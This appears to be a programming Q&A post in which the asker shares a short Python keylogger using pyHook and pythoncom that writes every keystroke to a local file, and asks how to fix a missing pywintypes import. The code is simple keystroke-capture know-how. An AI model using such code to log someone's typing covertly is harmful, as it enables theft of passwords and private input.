title: ImportError: No module named pywintypes
body: <p>I am working to make a small keylogger with Python, by using the pyHook, pythoncom and Pywin32 modules. Here is my code:</p>
  
  <pre><code>import pyHook, pythoncom, sys, logging
  
  file_log = 'C:\\important\\log.txt'
  
  def OnKeyboardEvent (event):
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
      chr(event.Ascii)
      logging.log(10, chr(Event.Ascii))
      return True
  hooks_manager=pyHook.HookManager()
  hooks_manager.KeyDown = OnKeyboardEvent
  hooks_manager.HookKeyboard()
  pythoncom.PumpMessages()
  </code></pre>
  
  <p>When it runs, it returns this error message:</p>
  
  <pre><code> File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in &lt;module&gt;
      import pywintypes
  ImportError: No module named pywintypes
  </code></pre>
  
  <p>How do I fix this error?</p>